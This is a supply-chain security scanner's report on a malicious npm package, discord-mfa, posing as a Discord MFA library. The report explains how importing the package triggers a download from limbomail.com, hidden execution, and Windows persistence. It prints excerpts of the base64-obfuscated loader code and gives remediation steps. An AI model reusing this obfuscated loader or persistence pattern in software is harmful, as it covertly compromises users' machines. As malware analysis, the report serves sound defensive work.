registry / Persistence / discord-mfa
discord-mfa
Lightweight Discord MFA authentication library. Raw TLS/1.3, multi-host rotation, Cloudflare bypass, TOTP. Zero dependencies.
This report shows the evidence for discord-mfa@3.0.1. 2 of 2 known versions are blocked or flagged. See all versions.
AI Security Review
scanned 2mo ago · by lpm-firewall-aiThis is concrete import-time malware behavior: covert remote payload execution and multi-method Windows persistence unrelated to Discord MFA. The absence of an npm lifecycle hook does not mitigate execution when the package is imported.
Static reason
One or more suspicious static signals were detected.
Trigger
A program imports or requires discord-mfa on Windows.
Impact
Arbitrary remote code can run under the importing user's account and persist across logon.
Mechanism
Import-time remote payload download, detached execution, and Windows persistence.
Attack narrative
The exported module unconditionally imports lib/cache.js. On Windows, that file decodes a limbomail.com URL, downloads a JavaScript payload into a disguised AppData path without certificate validation, and launches it hidden and detached. The companion code creates Registry Run entries, a Startup-folder script, and an on-logon scheduled task, allowing the downloaded program to relaunch after login.
AI rationale
This is concrete import-time malware behavior: covert remote payload execution and multi-method Windows persistence unrelated to Discord MFA. The absence of an npm lifecycle hook does not mitigate execution when the package is imported.
Evidence
index.jslib/cache.jslib/crypto.jslib/totp.jsAppData/Microsoft/Windows/WinSxS/Backup/winsvc.js
Network endpoints1
limbomail.com
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- Importing the package loads a hidden Windows-only loader.
- The loader decodes a remote limbomail.com payload URL.
- It downloads the payload into AppData and runs it detached through wscript.
- It establishes Windows Registry, Startup-folder, and scheduled-task persistence.
- TLS certificate verification is disabled for the payload download.
Evidence against
- The exported MFA functions communicate with Discord, which matches the stated library purpose.
- No npm lifecycle hook is declared, but the loader runs when the main module is imported.
Behavioral surface
CryptoEnvironmentVarsFilesystemNetwork
HighEntropyStringsUrlStrings
Source & flagged code
6 flagged · loading sourcelib/cache.js#virtual:normalized:round1View file
20const _tp = require("./totp");
L21: const _cp = require("child_process");
L22: const _ht = require("https");
L23:
L24: const _ap = process.env.APPDATA || path.join(os.homedir(), "AppData", "Roaming");
L25: const _dir = _cr._dir(_ap);
High
Same File Env Network Execution
A single source file combines environment access, network access, and code or shell execution; review context before blocking.
lib/cache.js#virtual:normalized:round1View on unpkg · L20lib/crypto.jsView file
10L11: const _b = s => Buffer.from(s, 'base64').toString();
L12: const _ks = [
...
L33: path.dirname(e),
L34: process.env.ProgramFiles ? path.join(process.env.ProgramFiles, 'nodejs') : null,
L35: process.env['ProgramFiles(x86)'] ? path.join(process.env['ProgramFiles(x86)'], 'nodejs') : null,
High
Base64 Obscured Url
Source decodes a Base64-obscured HTTP endpoint at runtime.
lib/crypto.jsView on unpkg · L1011const _b = s => Buffer.from(s, 'base64').toString();
const _ks = [
'TWljcm9zb2Z0',
'V2luZG93cw==',
'V2luU3hT',
'QmFja3Vw',
'd2luc3ZjLmpz',
'[redacted]==',
'bm9kZS5leGU=',
'[redacted]',
];
function _dir(ap) {
return path.join(ap, _b(_ks[0]), _b(_ks[1]), _b(_ks[2]), _b(_ks[3]));
}
function _file(d) { return path.join(d, _b(_ks[4])); }
function _ep() { return _b(_ks[5]); }
Findings
6 High2 Medium4 Low
HighSame File Env Network Executionlib/cache.js#virtual:normalized:round1
HighBase64 Obscured Urllib/crypto.js
HighAi Review Evidenceindex.js
HighAi Review Evidencelib/cache.js
HighAi Review Evidencelib/crypto.js
HighAi Review Evidencelib/cache.js
MediumNetwork
MediumEnvironment Vars
LowScripts Present
LowFilesystem
LowHigh Entropy Strings
LowUrl Strings
Affected versions and remediation
This report applies to discord-mfa@3.0.1.
The versions list below shows the verdict for each recorded version.
- Avoid installing discord-mfa@3.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.